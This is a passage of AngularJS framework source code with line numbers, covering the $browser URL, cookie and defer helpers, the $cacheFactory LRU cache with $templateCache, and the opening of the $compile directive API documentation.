4490 * {@link ng.$location $location service} to change url.
4491 *
4492 * @param {string} url New url (when used as setter)
4493 * @param {boolean=} replace Should new url replace current history record ?
4494 */
4495 self.url = function(url, replace) {
4496 // Android Browser BFCache causes location, history reference to become stale.
4497 if (location !== window.location) location = window.location;
4498 if (history !== window.history) history = window.history;
4499
4500 // setter
4501 if (url) {
4502 if (lastBrowserUrl == url) return;
4503 lastBrowserUrl = url;
4504 if ($sniffer.history) {
4505 if (replace) history.replaceState(null, '', url);
4506 else {
4507 history.pushState(null, '', url);
4508 // Crazy Opera Bug: http://my.opera.com/community/forums/topic.dml?id=1185462
4509 baseElement.attr('href', baseElement.attr('href'));
4510 }
4511 } else {
4512 newLocation = url;
4513 if (replace) {
4514 location.replace(url);
4515 } else {
4516 location.href = url;
4517 }
4518 }
4519 return self;
4520 // getter
4521 } else {
4522 // - newLocation is a workaround for an IE7-9 issue with location.replace and location.href
4523 // methods not updating location.href synchronously.
4524 // - the replacement is a workaround for https://bugzilla.mozilla.org/show_bug.cgi?id=407172
4525 return newLocation || location.href.replace(/%27/g,"'");
4526 }
4527 };
4528
4529 var urlChangeListeners = [],
4530 urlChangeInit = false;
4531
4532 function fireUrlChange() {
4533 newLocation = null;
4534 if (lastBrowserUrl == self.url()) return;
4535
4536 lastBrowserUrl = self.url();
4537 forEach(urlChangeListeners, function(listener) {
4538 listener(self.url());
4539 });
4540 }
4541
4542 /**
4543 * @name $browser#onUrlChange
4544 *
4545 * @description
4546 * Register callback function that will be called, when url changes.
4547 *
4548 * It's only called when the url is changed from outside of angular:
4549 * - user types different url into address bar
4550 * - user clicks on history (forward/back) button
4551 * - user clicks on a link
4552 *
4553 * It's not called when url is changed by $browser.url() method
4554 *
4555 * The listener gets called with new url as parameter.
4556 *
4557 * NOTE: this api is intended for use only by the $location service. Please use the
4558 * {@link ng.$location $location service} to monitor url changes in angular apps.
4559 *
4560 * @param {function(string)} listener Listener function to be called when url changes.
4561 * @return {function(string)} Returns the registered listener fn - handy if the fn is anonymous.
4562 */
4563 self.onUrlChange = function(callback) {
4564 // TODO(vojta): refactor to use node's syntax for events
4565 if (!urlChangeInit) {
4566 // We listen on both (hashchange/popstate) when available, as some browsers (e.g. Opera)
4567 // don't fire popstate when user change the address bar and don't fire hashchange when url
4568 // changed by push/replaceState
4569
4570 // html5 history api - popstate event
4571 if ($sniffer.history) jqLite(window).on('popstate', fireUrlChange);
4572 // hashchange event
4573 if ($sniffer.hashchange) jqLite(window).on('hashchange', fireUrlChange);
4574 // polling
4575 else self.addPollFn(fireUrlChange);
4576
4577 urlChangeInit = true;
4578 }
4579
4580 urlChangeListeners.push(callback);
4581 return callback;
4582 };
4583
4584 //////////////////////////////////////////////////////////////
4585 // Misc API
4586 //////////////////////////////////////////////////////////////
4587
4588 /**
4589 * @name $browser#baseHref
4590 *
4591 * @description
4592 * Returns current <base href>
4593 * (always relative - without domain)
4594 *
4595 * @returns {string} The current base href
4596 */
4597 self.baseHref = function() {
4598 var href = baseElement.attr('href');
4599 return href ? href.replace(/^(https?\:)?\/\/[^\/]*/, '') : '';
4600 };
4601
4602 //////////////////////////////////////////////////////////////
4603 // Cookies API
4604 //////////////////////////////////////////////////////////////
4605 var lastCookies = {};
4606 var lastCookieString = '';
4607 var cookiePath = self.baseHref();
4608
4609 /**
4610 * @name $browser#cookies
4611 *
4612 * @param {string=} name Cookie name
4613 * @param {string=} value Cookie value
4614 *
4615 * @description
4616 * The cookies method provides a 'private' low level access to browser cookies.
4617 * It is not meant to be used directly, use the $cookie service instead.
4618 *
4619 * The return values vary depending on the arguments that the method was called with as follows:
4620 *
4621 * - cookies() -> hash of all cookies, this is NOT a copy of the internal state, so do not modify
4622 * it
4623 * - cookies(name, value) -> set name to value, if value is undefined delete the cookie
4624 * - cookies(name) -> the same as (name, undefined) == DELETES (no one calls it right now that
4625 * way)
4626 *
4627 * @returns {Object} Hash of all cookies (if called without any parameter)
4628 */
4629 self.cookies = function(name, value) {
4630 /* global escape: false, unescape: false */
4631 var cookieLength, cookieArray, cookie, i, index;
4632
4633 if (name) {
4634 if (value === undefined) {
4635 rawDocument.cookie = escape(name) + "=;path=" + cookiePath +
4636 ";expires=Thu, 01 Jan 1970 00:00:00 GMT";
4637 } else {
4638 if (isString(value)) {
4639 cookieLength = (rawDocument.cookie = escape(name) + '=' + escape(value) +
4640 ';path=' + cookiePath).length + 1;
4641
4642 // per http://www.ietf.org/rfc/rfc2109.txt browser must allow at minimum:
4643 // - 300 cookies
4644 // - 20 cookies per unique domain
4645 // - 4096 bytes per cookie
4646 if (cookieLength > 4096) {
4647 $log.warn("Cookie '"+ name +
4648 "' possibly not set or overflowed because it was too large ("+
4649 cookieLength + " > 4096 bytes)!");
4650 }
4651 }
4652 }
4653 } else {
4654 if (rawDocument.cookie !== lastCookieString) {
4655 lastCookieString = rawDocument.cookie;
4656 cookieArray = lastCookieString.split("; ");
4657 lastCookies = {};
4658
4659 for (i = 0; i < cookieArray.length; i++) {
4660 cookie = cookieArray[i];
4661 index = cookie.indexOf('=');
4662 if (index > 0) { //ignore nameless cookies
4663 name = unescape(cookie.substring(0, index));
4664 // the first value that is seen for a cookie is the most
4665 // specific one. values for the same cookie name that
4666 // follow are for less specific paths.
4667 if (lastCookies[name] === undefined) {
4668 lastCookies[name] = unescape(cookie.substring(index + 1));
4669 }
4670 }
4671 }
4672 }
4673 return lastCookies;
4674 }
4675 };
4676
4677
4678 /**
4679 * @name $browser#defer
4680 * @param {function()} fn A function, who's execution should be deferred.
4681 * @param {number=} [delay=0] of milliseconds to defer the function execution.
4682 * @returns {*} DeferId that can be used to cancel the task via `$browser.defer.cancel()`.
4683 *
4684 * @description
4685 * Executes a fn asynchronously via `setTimeout(fn, delay)`.
4686 *
4687 * Unlike when calling `setTimeout` directly, in test this function is mocked and instead of using
4688 * `setTimeout` in tests, the fns are queued in an array, which can be programmatically flushed
4689 * via `$browser.defer.flush()`.
4690 *
4691 */
4692 self.defer = function(fn, delay) {
4693 var timeoutId;
4694 outstandingRequestCount++;
4695 timeoutId = setTimeout(function() {
4696 delete pendingDeferIds[timeoutId];
4697 completeOutstandingRequest(fn);
4698 }, delay || 0);
4699 pendingDeferIds[timeoutId] = true;
4700 return timeoutId;
4701 };
4702
4703
4704 /**
4705 * @name $browser#defer.cancel
4706 *
4707 * @description
4708 * Cancels a deferred task identified with `deferId`.
4709 *
4710 * @param {*} deferId Token returned by the `$browser.defer` function.
4711 * @returns {boolean} Returns `true` if the task hasn't executed yet and was successfully
4712 * canceled.
4713 */
4714 self.defer.cancel = function(deferId) {
4715 if (pendingDeferIds[deferId]) {
4716 delete pendingDeferIds[deferId];
4717 clearTimeout(deferId);
4718 completeOutstandingRequest(noop);
4719 return true;
4720 }
4721 return false;
4722 };
4723
4724 }
4725
4726 function $BrowserProvider(){
4727 this.$get = ['$window', '$log', '$sniffer', '$document',
4728 function( $window, $log, $sniffer, $document){
4729 return new Browser($window, $document, $log, $sniffer);
4730 }];
4731 }
4732
4733 /**
4734 * @ngdoc service
4735 * @name $cacheFactory
4736 *
4737 * @description
4738 * Factory that constructs {@link $cacheFactory.Cache Cache} objects and gives access to
4739 * them.
4740 *
4741 * ```js
4742 *
4743 * var cache = $cacheFactory('cacheId');
4744 * expect($cacheFactory.get('cacheId')).toBe(cache);
4745 * expect($cacheFactory.get('noSuchCacheId')).not.toBeDefined();
4746 *
4747 * cache.put("key", "value");
4748 * cache.put("another key", "another value");
4749 *
4750 * // We've specified no options on creation
4751 * expect(cache.info()).toEqual({id: 'cacheId', size: 2});
4752 *
4753 * ```
4754 *
4755 *
4756 * @param {string} cacheId Name or id of the newly created cache.
4757 * @param {object=} options Options object that specifies the cache behavior. Properties:
4758 *
4759 * - `{number=}` `capacity` — turns the cache into LRU cache.
4760 *
4761 * @returns {object} Newly created cache object with the following set of methods:
4762 *
4763 * - `{object}` `info()` — Returns id, size, and options of cache.
4764 * - `{{*}}` `put({string} key, {*} value)` — Puts a new key-value pair into the cache and returns
4765 * it.
4766 * - `{{*}}` `get({string} key)` — Returns cached value for `key` or undefined for cache miss.
4767 * - `{void}` `remove({string} key)` — Removes a key-value pair from the cache.
4768 * - `{void}` `removeAll()` — Removes all cached values.
4769 * - `{void}` `destroy()` — Removes references to this cache from $cacheFactory.
4770 *
4771 * @example
4772 <example module="cacheExampleApp">
4773 <file name="index.html">
4774 <div ng-controller="CacheController">
4775 <input ng-model="newCacheKey" placeholder="Key">
4776 <input ng-model="newCacheValue" placeholder="Value">
4777 <button ng-click="put(newCacheKey, newCacheValue)">Cache</button>
4778
4779 <p ng-if="keys.length">Cached Values</p>
4780 <div ng-repeat="key in keys">
4781 <span ng-bind="key"></span>
4782 <span>: </span>
4783 <b ng-bind="cache.get(key)"></b>
4784 </div>
4785
4786 <p>Cache Info</p>
4787 <div ng-repeat="(key, value) in cache.info()">
4788 <span ng-bind="key"></span>
4789 <span>: </span>
4790 <b ng-bind="value"></b>
4791 </div>
4792 </div>
4793 </file>
4794 <file name="script.js">
4795 angular.module('cacheExampleApp', []).
4796 controller('CacheController', ['$scope', '$cacheFactory', function($scope, $cacheFactory) {
4797 $scope.keys = [];
4798 $scope.cache = $cacheFactory('cacheId');
4799 $scope.put = function(key, value) {
4800 if ($scope.cache.get(key) === undefined) {
4801 $scope.keys.push(key);
4802 }
4803 $scope.cache.put(key, value === undefined ? null : value);
4804 };
4805 }]);
4806 </file>
4807 <file name="style.css">
4808 p {
4809 margin: 10px 0 3px;
4810 }
4811 </file>
4812 </example>
4813 */
4814 function $CacheFactoryProvider() {
4815
4816 this.$get = function() {
4817 var caches = {};
4818
4819 function cacheFactory(cacheId, options) {
4820 if (cacheId in caches) {
4821 throw minErr('$cacheFactory')('iid', "CacheId '{0}' is already taken!", cacheId);
4822 }
4823
4824 var size = 0,
4825 stats = extend({}, options, {id: cacheId}),
4826 data = {},
4827 capacity = (options && options.capacity) || Number.MAX_VALUE,
4828 lruHash = {},
4829 freshEnd = null,
4830 staleEnd = null;
4831
4832 /**
4833 * @ngdoc type
4834 * @name $cacheFactory.Cache
4835 *
4836 * @description
4837 * A cache object used to store and retrieve data, primarily used by
4838 * {@link $http $http} and the {@link ng.directive:script script} directive to cache
4839 * templates and other data.
4840 *
4841 * ```js
4842 * angular.module('superCache')
4843 * .factory('superCache', ['$cacheFactory', function($cacheFactory) {
4844 * return $cacheFactory('super-cache');
4845 * }]);
4846 * ```
4847 *
4848 * Example test:
4849 *
4850 * ```js
4851 * it('should behave like a cache', inject(function(superCache) {
4852 * superCache.put('key', 'value');
4853 * superCache.put('another key', 'another value');
4854 *
4855 * expect(superCache.info()).toEqual({
4856 * id: 'super-cache',
4857 * size: 2
4858 * });
4859 *
4860 * superCache.remove('another key');
4861 * expect(superCache.get('another key')).toBeUndefined();
4862 *
4863 * superCache.removeAll();
4864 * expect(superCache.info()).toEqual({
4865 * id: 'super-cache',
4866 * size: 0
4867 * });
4868 * }));
4869 * ```
4870 */
4871 return caches[cacheId] = {
4872
4873 /**
4874 * @ngdoc method
4875 * @name $cacheFactory.Cache#put
4876 * @kind function
4877 *
4878 * @description
4879 * Inserts a named entry into the {@link $cacheFactory.Cache Cache} object to be
4880 * retrieved later, and incrementing the size of the cache if the key was not already
4881 * present in the cache. If behaving like an LRU cache, it will also remove stale
4882 * entries from the set.
4883 *
4884 * It will not insert undefined values into the cache.
4885 *
4886 * @param {string} key the key under which the cached data is stored.
4887 * @param {*} value the value to store alongside the key. If it is undefined, the key
4888 * will not be stored.
4889 * @returns {*} the value stored.
4890 */
4891 put: function(key, value) {
4892 if (capacity < Number.MAX_VALUE) {
4893 var lruEntry = lruHash[key] || (lruHash[key] = {key: key});
4894
4895 refresh(lruEntry);
4896 }
4897
4898 if (isUndefined(value)) return;
4899 if (!(key in data)) size++;
4900 data[key] = value;
4901
4902 if (size > capacity) {
4903 this.remove(staleEnd.key);
4904 }
4905
4906 return value;
4907 },
4908
4909 /**
4910 * @ngdoc method
4911 * @name $cacheFactory.Cache#get
4912 * @kind function
4913 *
4914 * @description
4915 * Retrieves named data stored in the {@link $cacheFactory.Cache Cache} object.
4916 *
4917 * @param {string} key the key of the data to be retrieved
4918 * @returns {*} the value stored.
4919 */
4920 get: function(key) {
4921 if (capacity < Number.MAX_VALUE) {
4922 var lruEntry = lruHash[key];
4923
4924 if (!lruEntry) return;
4925
4926 refresh(lruEntry);
4927 }
4928
4929 return data[key];
4930 },
4931
4932
4933 /**
4934 * @ngdoc method
4935 * @name $cacheFactory.Cache#remove
4936 * @kind function
4937 *
4938 * @description
4939 * Removes an entry from the {@link $cacheFactory.Cache Cache} object.
4940 *
4941 * @param {string} key the key of the entry to be removed
4942 */
4943 remove: function(key) {
4944 if (capacity < Number.MAX_VALUE) {
4945 var lruEntry = lruHash[key];
4946
4947 if (!lruEntry) return;
4948
4949 if (lruEntry == freshEnd) freshEnd = lruEntry.p;
4950 if (lruEntry == staleEnd) staleEnd = lruEntry.n;
4951 link(lruEntry.n,lruEntry.p);
4952
4953 delete lruHash[key];
4954 }
4955
4956 delete data[key];
4957 size--;
4958 },
4959
4960
4961 /**
4962 * @ngdoc method
4963 * @name $cacheFactory.Cache#removeAll
4964 * @kind function
4965 *
4966 * @description
4967 * Clears the cache object of any entries.
4968 */
4969 removeAll: function() {
4970 data = {};
4971 size = 0;
4972 lruHash = {};
4973 freshEnd = staleEnd = null;
4974 },
4975
4976
4977 /**
4978 * @ngdoc method
4979 * @name $cacheFactory.Cache#destroy
4980 * @kind function
4981 *
4982 * @description
4983 * Destroys the {@link $cacheFactory.Cache Cache} object entirely,
4984 * removing it from the {@link $cacheFactory $cacheFactory} set.
4985 */
4986 destroy: function() {
4987 data = null;
4988 stats = null;
4989 lruHash = null;
4990 delete caches[cacheId];
4991 },
4992
4993
4994 /**
4995 * @ngdoc method
4996 * @name $cacheFactory.Cache#info
4997 * @kind function
4998 *
4999 * @description
5000 * Retrieve information regarding a particular {@link $cacheFactory.Cache Cache}.
5001 *
5002 * @returns {object} an object with the following properties:
5003 * <ul>
5004 * <li>**id**: the id of the cache instance</li>
5005 * <li>**size**: the number of entries kept in the cache instance</li>
5006 * <li>**...**: any additional properties from the options object when creating the
5007 * cache.</li>
5008 * </ul>
5009 */
5010 info: function() {
5011 return extend({}, stats, {size: size});
5012 }
5013 };
5014
5015
5016 /**
5017 * makes the `entry` the freshEnd of the LRU linked list
5018 */
5019 function refresh(entry) {
5020 if (entry != freshEnd) {
5021 if (!staleEnd) {
5022 staleEnd = entry;
5023 } else if (staleEnd == entry) {
5024 staleEnd = entry.n;
5025 }
5026
5027 link(entry.n, entry.p);
5028 link(entry, freshEnd);
5029 freshEnd = entry;
5030 freshEnd.n = null;
5031 }
5032 }
5033
5034
5035 /**
5036 * bidirectionally links two entries of the LRU linked list
5037 */
5038 function link(nextEntry, prevEntry) {
5039 if (nextEntry != prevEntry) {
5040 if (nextEntry) nextEntry.p = prevEntry; //p stands for previous, 'prev' didn't minify
5041 if (prevEntry) prevEntry.n = nextEntry; //n stands for next, 'next' didn't minify
5042 }
5043 }
5044 }
5045
5046
5047 /**
5048 * @ngdoc method
5049 * @name $cacheFactory#info
5050 *
5051 * @description
5052 * Get information about all the caches that have been created
5053 *
5054 * @returns {Object} - key-value map of `cacheId` to the result of calling `cache#info`
5055 */
5056 cacheFactory.info = function() {
5057 var info = {};
5058 forEach(caches, function(cache, cacheId) {
5059 info[cacheId] = cache.info();
5060 });
5061 return info;
5062 };
5063
5064
5065 /**
5066 * @ngdoc method
5067 * @name $cacheFactory#get
5068 *
5069 * @description
5070 * Get access to a cache object by the `cacheId` used when it was created.
5071 *
5072 * @param {string} cacheId Name or id of a cache to access.
5073 * @returns {object} Cache object identified by the cacheId or undefined if no such cache.
5074 */
5075 cacheFactory.get = function(cacheId) {
5076 return caches[cacheId];
5077 };
5078
5079
5080 return cacheFactory;
5081 };
5082 }
5083
5084 /**
5085 * @ngdoc service
5086 * @name $templateCache
5087 *
5088 * @description
5089 * The first time a template is used, it is loaded in the template cache for quick retrieval. You
5090 * can load templates directly into the cache in a `script` tag, or by consuming the
5091 * `$templateCache` service directly.
5092 *
5093 * Adding via the `script` tag:
5094 *
5095 * ```html
5096 * <script type="text/ng-template" id="templateId.html">
5097 * <p>This is the content of the template</p>
5098 * </script>
5099 * ```
5100 *
5101 * **Note:** the `script` tag containing the template does not need to be included in the `head` of
5102 * the document, but it must be below the `ng-app` definition.
5103 *
5104 * Adding via the $templateCache service:
5105 *
5106 * ```js
5107 * var myApp = angular.module('myApp', []);
5108 * myApp.run(function($templateCache) {
5109 * $templateCache.put('templateId.html', 'This is the content of the template');
5110 * });
5111 * ```
5112 *
5113 * To retrieve the template later, simply use it in your HTML:
5114 * ```html
5115 * <div ng-include=" 'templateId.html' "></div>
5116 * ```
5117 *
5118 * or get it via Javascript:
5119 * ```js
5120 * $templateCache.get('templateId.html')
5121 * ```
5122 *
5123 * See {@link ng.$cacheFactory $cacheFactory}.
5124 *
5125 */
5126 function $TemplateCacheProvider() {
5127 this.$get = ['$cacheFactory', function($cacheFactory) {
5128 return $cacheFactory('templates');
5129 }];
5130 }
5131
5132 /* ! VARIABLE/FUNCTION NAMING CONVENTIONS THAT APPLY TO THIS FILE!
5133 *
5134 * DOM-related variables:
5135 *
5136 * - "node" - DOM Node
5137 * - "element" - DOM Element or Node
5138 * - "$node" or "$element" - jqLite-wrapped node or element
5139 *
5140 *
5141 * Compiler related stuff:
5142 *
5143 * - "linkFn" - linking fn of a single directive
5144 * - "nodeLinkFn" - function that aggregates all linking fns for a particular node
5145 * - "childLinkFn" - function that aggregates all linking fns for child nodes of a particular node
5146 * - "compositeLinkFn" - function that aggregates all linking fns for a compilation root (nodeList)
5147 */
5148
5149
5150 /**
5151 * @ngdoc service
5152 * @name $compile
5153 * @kind function
5154 *
5155 * @description
5156 * Compiles an HTML string or DOM into a template and produces a template function, which
5157 * can then be used to link {@link ng.$rootScope.Scope `scope`} and the template together.
5158 *
5159 * The compilation is a process of walking the DOM tree and matching DOM elements to
5160 * {@link ng.$compileProvider#directive directives}.
5161 *
5162 * <div class="alert alert-warning">
5163 * **Note:** This document is an in-depth reference of all directive options.
5164 * For a gentle introduction to directives with examples of common use cases,
5165 * see the {@link guide/directive directive guide}.
5166 * </div>
5167 *
5168 * ## Comprehensive Directive API
5169 *
5170 * There are many different options for a directive.
5171 *
5172 * The difference resides in the return value of the factory function.
5173 * You can either return a "Directive Definition Object" (see below) that defines the directive properties,
5174 * or just the `postLink` function (all other properties will have the default values).
5175 *
5176 * <div class="alert alert-success">
5177 * **Best Practice:** It's recommended to use the "directive definition object" form.
5178 * </div>
5179 *
5180 * Here's an example directive declared with a Directive Definition Object:
5181 *
5182 * ```js
5183 * var myModule = angular.module(...);
5184 *
5185 * myModule.directive('directiveName', function factory(injectables) {
5186 * var directiveDefinitionObject = {
5187 * priority: 0,
5188 * template: '<div></div>', // or // function(tElement, tAttrs) { ... },
5189 * // or
5190 * // templateUrl: 'directive.html', // or // function(tElement, tAttrs) { ... },
5191 * transclude: false,
5192 * restrict: 'A',
5193 * scope: false,
5194 * controller: function($scope, $element, $attrs, $transclude, otherInjectables) { ... },
5195 * controllerAs: 'stringAlias',
5196 * require: 'siblingDirectiveName', // or // ['^parentDirectiveName', '?optionalDirectiveName', '?^optionalParent'],
5197 * compile: function compile(tElement, tAttrs, transclude) {
5198 * return {
5199 * pre: function preLink(scope, iElement, iAttrs, controller) { ... },
5200 * post: function postLink(scope, iElement, iAttrs, controller) { ... }
5201 * }
5202 * // or
5203 * // return function postLink( ... ) { ... }
5204 * },
5205 * // or
5206 * // link: {
5207 * // pre: function preLink(scope, iElement, iAttrs, controller) { ... },
5208 * // post: function postLink(scope, iElement, iAttrs, controller) { ... }
5209 * // }
5210 * // or
5211 * // link: function postLink( ... ) { ... }
5212 * };
5213 * return directiveDefinitionObject;
5214 * });
5215 * ```
5216 *
5217 * <div class="alert alert-warning">
5218 * **Note:** Any unspecified options will use the default value. You can see the default values below.
5219 * </div>
5220 *
5221 * Therefore the above can be simplified as:
5222 *
5223 * ```js
5224 * var myModule = angular.module(...);
5225 *
5226 * myModule.directive('directiveName', function factory(injectables) {
5227 * var directiveDefinitionObject = {
5228 * link: function postLink(scope, iElement, iAttrs) { ... }
5229 * };
5230 * return directiveDefinitionObject;
5231 * // or
5232 * // return function postLink(scope, iElement, iAttrs) { ... }
5233 * });
5234 * ```
5235 *
5236 *
5237 *
5238 * ### Directive Definition Object
5239 *
5240 * The directive definition object provides instructions to the {@link ng.$compile
5241 * compiler}. The attributes are:
5242 *
5243 * #### `priority`
5244 * When there are multiple directives defined on a single DOM element, sometimes it
5245 * is necessary to specify the order in which the directives are applied. The `priority` is used
5246 * to sort the directives before their `compile` functions get called. Priority is defined as a
5247 * number. Directives with greater numerical `priority` are compiled first. Pre-link functions
5248 * are also run in priority order, but post-link functions are run in reverse order. The order
5249 * of directives with the same priority is undefined. The default priority is `0`.
5250 *
5251 * #### `terminal`
5252 * If set to true then the current `priority` will be the last set of directives
5253 * which will execute (any directives at the current priority will still execute
5254 * as the order of execution on same `priority` is undefined).
5255 *
5256 * #### `scope`
5257 * **If set to `true`,** then a new scope will be created for this directive. If multiple directives on the
5258 * same element request a new scope, only one new scope is created. The new scope rule does not
5259 * apply for the root of the template since the root of the template always gets a new scope.
5260 *
5261 * **If set to `{}` (object hash),** then a new "isolate" scope is created. The 'isolate' scope differs from
5262 * normal scope in that it does not prototypically inherit from the parent scope. This is useful
5263 * when creating reusable components, which should not accidentally read or modify data in the
5264 * parent scope.
5265 *
5266 * The 'isolate' scope takes an object hash which defines a set of local scope properties
5267 * derived from the parent scope. These local properties are useful for aliasing values for
5268 * templates. Locals definition is a hash of local scope property to its source:
5269 *
5270 * * `@` or `@attr` - bind a local scope property to the value of DOM attribute. The result is
5271 * always a string since DOM attributes are strings. If no `attr` name is specified then the
5272 * attribute name is assumed to be the same as the local name.
5273 * Given `<widget my-attr="hello {{name}}">` and widget definition
5274 * of `scope: { localName:'@myAttr' }`, then widget scope property `localName` will reflect
5275 * the interpolated value of `hello {{name}}`. As the `name` attribute changes so will the
5276 * `localName` property on the widget scope. The `name` is read from the parent scope (not
5277 * component scope).
5278 *
5279 * * `=` or `=attr` - set up bi-directional binding between a local scope property and the
5280 * parent scope property of name defined via the value of the `attr` attribute. If no `attr`
5281 * name is specified then the attribute name is assumed to be the same as the local name.
5282 * Given `<widget my-attr="parentModel">` and widget definition of
5283 * `scope: { localModel:'=myAttr' }`, then widget scope property `localModel` will reflect the
5284 * value of `parentModel` on the parent scope. Any changes to `parentModel` will be reflected
5285 * in `localModel` and any changes in `localModel` will reflect in `parentModel`. If the parent
5286 * scope property doesn't exist, it will throw a NON_ASSIGNABLE_MODEL_EXPRESSION exception. You
5287 * can avoid this behavior using `=?` or `=?attr` in order to flag the property as optional.
5288 *
5289 * * `&` or `&attr` - provides a way to execute an expression in the context of the parent scope.
5290 * If no `attr` name is specified then the attribute name is assumed to be the same as the
5291 * local name. Given `<widget my-attr="count = count + value">` and widget definition of
5292 * `scope: { localFn:'&myAttr' }`, then isolate scope property `localFn` will point to
5293 * a function wrapper for the `count = count + value` expression. Often it's desirable to
5294 * pass data from the isolated scope via an expression to the parent scope, this can be
5295 * done by passing a map of local variable names and values into the expression wrapper fn.
5296 * For example, if the expression is `increment(amount)` then we can specify the amount value
5297 * by calling the `localFn` as `localFn({amount: 22})`.
5298 *
5299 *
5300 *
5301 * #### `controller`
5302 * Controller constructor function. The controller is instantiated before the
5303 * pre-linking phase and it is shared with other directives (see
5304 * `require` attribute). This allows the directives to communicate with each other and augment
5305 * each other's behavior. The controller is injectable (and supports bracket notation) with the following locals:
5306 *
5307 * * `$scope` - Current scope associated with the element
5308 * * `$element` - Current element
5309 * * `$attrs` - Current attributes object for the element
5310 * * `$transclude` - A transclude linking function pre-bound to the correct transclusion scope.
5311 * The scope can be overridden by an optional first argument.
5312 * `function([scope], cloneLinkingFn)`.
5313 *
5314 *
5315 * #### `require`
5316 * Require another directive and inject its controller as the fourth argument to the linking function. The
5317 * `require` takes a string name (or array of strings) of the directive(s) to pass in. If an array is used, the
5318 * injected argument will be an array in corresponding order. If no such directive can be
5319 * found, or if the directive does not have a controller, then an error is raised. The name can be prefixed with:
5320 *
5321 * * (no prefix) - Locate the required controller on the current element. Throw an error if not found.
5322 * * `?` - Attempt to locate the required controller or pass `null` to the `link` fn if not found.
5323 * * `^` - Locate the required controller by searching the element and its parents. Throw an error if not found.
5324 * * `?^` - Attempt to locate the required controller by searching the element and its parents or pass
5325 * `null` to the `link` fn if not found.
5326 *
5327 *
5328 * #### `controllerAs`
5329 * Controller alias at the directive scope. An alias for the controller so it
5330 * can be referenced at the directive template. The directive needs to define a scope for this
5331 * configuration to be used. Useful in the case when directive is used as component.
5332 *
5333 *
5334 * #### `restrict`
5335 * String of subset of `EACM` which restricts the directive to a specific directive
5336 * declaration style. If omitted, the default (attributes only) is used.
5337 *
5338 * * `E` - Element name: `<my-directive></my-directive>`
5339 * * `A` - Attribute (default): `<div my-directive="exp"></div>`
5340 * * `C` - Class: `<div class="my-directive: exp;"></div>`
5341 * * `M` - Comment: `<!-- directive: my-directive exp -->`
5342 *
5343 *
5344 * #### `template`
5345 * HTML markup that may:
5346 * * Replace the contents of the directive's element (default).
5347 * * Replace the directive's element itself (if `replace` is true - DEPRECATED).
5348 * * Wrap the contents of the directive's element (if `transclude` is true).
5349 *
5350 * Value may be:
5351 *
5352 * * A string. For example `<div red-on-hover>{{delete_str}}</div>`.
5353 * * A function which takes two arguments `tElement` and `tAttrs` (described in the `compile`
5354 * function api below) and returns a string value.
5355 *
5356 *
5357 * #### `templateUrl`
5358 * Same as `template` but the template is loaded from the specified URL. Because
5359 * the template loading is asynchronous the compilation/linking is suspended until the template
5360 * is loaded.
5361 *
5362 * You can specify `templateUrl` as a string representing the URL or as a function which takes two
5363 * arguments `tElement` and `tAttrs` (described in the `compile` function api below) and returns
5364 * a string value representing the url. In either case, the template URL is passed through {@link
5365 * api/ng.$sce#getTrustedResourceUrl $sce.getTrustedResourceUrl}.
5366 *
5367 *
5368 * #### `replace` ([*DEPRECATED*!], will be removed in next major release)
5369 * specify what the template should replace. Defaults to `false`.
5370 *
5371 * * `true` - the template will replace the directive's element.
5372 * * `false` - the template will replace the contents of the directive's element.
5373 *
5374 * The replacement process migrates all of the attributes / classes from the old element to the new
5375 * one. See the {@link guide/directive#creating-custom-directives_creating-directives_template-expanding-directive
5376 * Directives Guide} for an example.
5377 *
5378 * #### `transclude`
5379 * compile the content of the element and make it available to the directive.
5380 * Typically used with {@link ng.directive:ngTransclude
5381 * ngTransclude}. The advantage of transclusion is that the linking function receives a
5382 * transclusion function which is pre-bound to the correct scope. In a typical setup the widget
5383 * creates an `isolate` scope, but the transclusion is not a child, but a sibling of the `isolate`
5384 * scope. This makes it possible for the widget to have private state, and the transclusion to
5385 * be bound to the parent (pre-`isolate`) scope.
5386 *
5387 * * `true` - transclude the content of the directive.
5388 * * `'element'` - transclude the whole element including any directives defined at lower priority.
5389 *
5390 * <div class="alert alert-warning">
5391 * **Note:** When testing an element transclude directive you must not place the directive at the root of the
5392 * DOM fragment that is being compiled. See {@link guide/unit-testing#testing-transclusion-directives
5393 * Testing Transclusion Directives}.
5394 * </div>
5395 *
5396 * #### `compile`
5397 *
5398 * ```js
5399 * function compile(tElement, tAttrs, transclude) { ... }
5400 * ```
5401 *
5402 * The compile function deals with transforming the template DOM. Since most directives do not do
5403 * template transformation, it is not used often. The compile function takes the following arguments:
5404 *
5405 * * `tElement` - template element - The element where the directive has been declared. It is
5406 * safe to do template transformation on the element and child elements only.
5407 *
5408 * * `tAttrs` - template attributes - Normalized list of attributes declared on this element shared
5409 * between all directive compile functions.
5410 *
5411 * * `transclude` - [*DEPRECATED*!] A transclude linking function: `function(scope, cloneLinkingFn)`
5412 *
5413 * <div class="alert alert-warning">
5414 * **Note:** The template instance and the link instance may be different objects if the template has
5415 * been cloned. For this reason it is **not** safe to do anything other than DOM transformations that
5416 * apply to all cloned DOM nodes within the compile function. Specifically, DOM listener registration
5417 * should be done in a linking function rather than in a compile function.
5418 * </div>
5419
5420 * <div class="alert alert-warning">
5421 * **Note:** The compile function cannot handle directives that recursively use themselves in their
5422 * own templates or compile functions. Compiling these directives results in an infinite loop and a
5423 * stack overflow errors.
5424 *
5425 * This can be avoided by manually using $compile in the postLink function to imperatively compile
5426 * a directive's template instead of relying on automatic template compilation via `template` or
5427 * `templateUrl` declaration or manual compilation inside the compile function.
5428 * </div>
5429 *
5430 * <div class="alert alert-error">
5431 * **Note:** The `transclude` function that is passed to the compile function is deprecated, as it
5432 * e.g. does not know about the right outer scope. Please use the transclude function that is passed
5433 * to the link function instead.
5434 * </div>
5435
5436 * A compile function can have a return value which can be either a function or an object.
5437 *
5438 * * returning a (post-link) function - is equivalent to registering the linking function via the
5439 * `link` property of the config object when the compile function is empty.
5440 *
5441 * * returning an object with function(s) registered via `pre` and `post` properties - allows you to
5442 * control when a linking function should be called during the linking phase. See info about
5443 * pre-linking and post-linking functions below.
5444 *
5445 *
5446 * #### `link`
5447 * This property is used only if the `compile` property is not defined.
5448 *
5449 * ```js
5450 * function link(scope, iElement, iAttrs, controller, transcludeFn) { ... }
5451 * ```
5452 *
5453 * The link function is responsible for registering DOM listeners as well as updating the DOM. It is
5454 * executed after the template has been cloned. This is where most of the directive logic will be
5455 * put.
5456 *
5457 * * `scope` - {@link ng.$rootScope.Scope Scope} - The scope to be used by the
5458 * directive for registering {@link ng.$rootScope.Scope#$watch watches}.
5459 *
